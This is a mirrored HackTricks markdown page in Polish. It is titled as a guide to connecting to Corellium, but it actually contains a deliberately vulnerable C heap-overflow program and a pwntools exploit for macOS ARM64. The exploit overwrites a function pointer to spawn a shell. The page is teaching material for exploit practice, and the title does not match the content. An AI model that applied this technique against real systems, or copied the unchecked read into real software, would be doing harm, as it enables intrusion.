mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
206 lines
5.8 KiB
Markdown
206 lines
5.8 KiB
Markdown
# iOS Jak połączyć się z Corellium
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Vuln Code
|
|
```c
|
|
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
__attribute__((noinline))
|
|
static void safe_cb(void) {
|
|
puts("[*] safe_cb() called — nothing interesting here.");
|
|
}
|
|
|
|
__attribute__((noinline))
|
|
static void win(void) {
|
|
puts("[+] win() reached — spawning shell...");
|
|
fflush(stdout);
|
|
system("/bin/sh");
|
|
exit(0);
|
|
}
|
|
|
|
typedef void (*cb_t)(void);
|
|
|
|
typedef struct {
|
|
cb_t cb; // <--- Your target: overwrite this with win()
|
|
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
|
|
} hook_t;
|
|
|
|
static void fatal(const char *msg) {
|
|
perror(msg);
|
|
exit(1);
|
|
}
|
|
|
|
int main(void) {
|
|
// Make I/O deterministic
|
|
setvbuf(stdout, NULL, _IONBF, 0);
|
|
|
|
// Print address leak so exploit doesn't guess ASLR
|
|
printf("[*] LEAK win() @ %p\n", (void*)&win);
|
|
|
|
// 1) Allocate the overflow buffer
|
|
size_t buf_sz = 128;
|
|
char *buf = (char*)malloc(buf_sz);
|
|
if (!buf) fatal("malloc buf");
|
|
memset(buf, 'A', buf_sz);
|
|
|
|
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
|
|
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
|
|
if (!h) fatal("malloc hook");
|
|
h->cb = safe_cb;
|
|
memcpy(h->tag, "HOOK-OBJ", 8);
|
|
|
|
// A tiny bit of noise to look realistic (and to consume small leftover holes)
|
|
void *spacers[16];
|
|
for (int i = 0; i < 16; i++) {
|
|
spacers[i] = malloc(64);
|
|
if (spacers[i]) memset(spacers[i], 0xCC, 64);
|
|
}
|
|
|
|
puts("[*] You control a write into the 128B buffer (no bounds check).");
|
|
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
|
|
|
|
// 3) Read attacker-chosen length and then read that many bytes → overflow
|
|
char line[64];
|
|
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
|
|
unsigned long n = strtoul(line, NULL, 10);
|
|
|
|
// BUG: no clamp to 128
|
|
ssize_t got = read(STDIN_FILENO, buf, n);
|
|
if (got < 0) fatal("read");
|
|
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
|
|
|
|
// 4) Trigger: call the hook's callback
|
|
puts("[*] Calling h->cb() ...");
|
|
h->cb();
|
|
|
|
puts("[*] Done.");
|
|
return 0;
|
|
}
|
|
```
|
|
Skompiluj to za pomocą:
|
|
```bash
|
|
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
|
|
```
|
|
## Exploit
|
|
|
|
> [!WARNING]
|
|
> Ten exploit ustawia zmienną środowiskową `MallocNanoZone=0`, aby wyłączyć NanoZone. Jest to potrzebne, aby uzyskać sąsiadujące alokacje podczas wywołań `malloc` z małymi rozmiarami. Bez tego różne mallocs zostaną przydzielone w różnych strefach i nie będą sąsiadować, w związku z czym overflow nie zadziała zgodnie z oczekiwaniami.
|
|
```python
|
|
#!/usr/bin/env python3
|
|
# Heap overflow exploit for macOS ARM64 CTF challenge
|
|
#
|
|
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
|
|
# a function pointer in an adjacent heap chunk.
|
|
#
|
|
# Key insights:
|
|
# 1. macOS uses different heap zones for different allocation sizes
|
|
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
|
|
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
|
|
#
|
|
from pwn import *
|
|
import re
|
|
import sys
|
|
import struct
|
|
import platform
|
|
|
|
# Detect architecture and set context accordingly
|
|
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
|
|
context.clear(arch='aarch64')
|
|
else:
|
|
context.clear(arch='amd64')
|
|
|
|
BIN = './heap_groom'
|
|
|
|
def parse_leak(line):
|
|
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
|
|
if not m:
|
|
log.failure("Couldn't parse leak")
|
|
sys.exit(1)
|
|
return int(m.group(1), 16)
|
|
|
|
def build_payload(win_addr, extra_pad=0):
|
|
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
|
|
padding = b'A' * 128
|
|
if extra_pad:
|
|
padding += b'B' * extra_pad
|
|
# Add the win address to overwrite the function pointer
|
|
payload = padding + p64(win_addr)
|
|
return payload
|
|
|
|
def main():
|
|
# On macOS, we need to disable the Nano zone for adjacent allocations
|
|
import os
|
|
env = os.environ.copy()
|
|
env['MallocNanoZone'] = '0'
|
|
|
|
# The correct padding with MallocNanoZone=0 is 432 bytes
|
|
# This makes the total distance 560 bytes (128 buffer + 432 padding)
|
|
# Try the known working value first, then alternatives in case of heap variation
|
|
candidates = [
|
|
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
|
|
424, # Try slightly less in case of alignment differences
|
|
440, # Try slightly more
|
|
416, # 16 bytes less
|
|
448, # 16 bytes more
|
|
0, # Direct adjacency (unlikely but worth trying)
|
|
]
|
|
|
|
log.info("Starting heap overflow exploit for macOS...")
|
|
|
|
for extra in candidates:
|
|
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
|
|
p = process(BIN, env=env)
|
|
|
|
# Read leak line
|
|
leak_line = p.recvline()
|
|
win_addr = parse_leak(leak_line)
|
|
log.success(f"win() @ {hex(win_addr)}")
|
|
|
|
# Skip prompt lines
|
|
p.recvuntil(b"Enter payload length")
|
|
p.recvline()
|
|
|
|
# Build and send payload
|
|
payload = build_payload(win_addr, extra_pad=extra)
|
|
total_len = len(payload)
|
|
|
|
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
|
|
|
|
# Send length and payload
|
|
p.sendline(str(total_len).encode())
|
|
p.send(payload)
|
|
|
|
# Check if we overwrote the function pointer successfully
|
|
try:
|
|
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
|
|
p.recvline(timeout=0.5) # Skip the "..." part
|
|
|
|
# Check if we hit win()
|
|
response = p.recvline(timeout=0.5)
|
|
if b"win() reached" in response:
|
|
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
|
|
log.success("Shell spawned, entering interactive mode...")
|
|
p.interactive()
|
|
return
|
|
elif b"safe_cb() called" in response:
|
|
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
|
|
else:
|
|
log.info(f"Failed with extra_pad={extra}, unexpected response")
|
|
except:
|
|
log.info(f"Failed with extra_pad={extra}, likely crashed")
|
|
|
|
p.close()
|
|
|
|
log.failure("All padding attempts failed. The heap layout might be different.")
|
|
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
|
|
|
|
if __name__ == '__main__':
|
|
main()
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|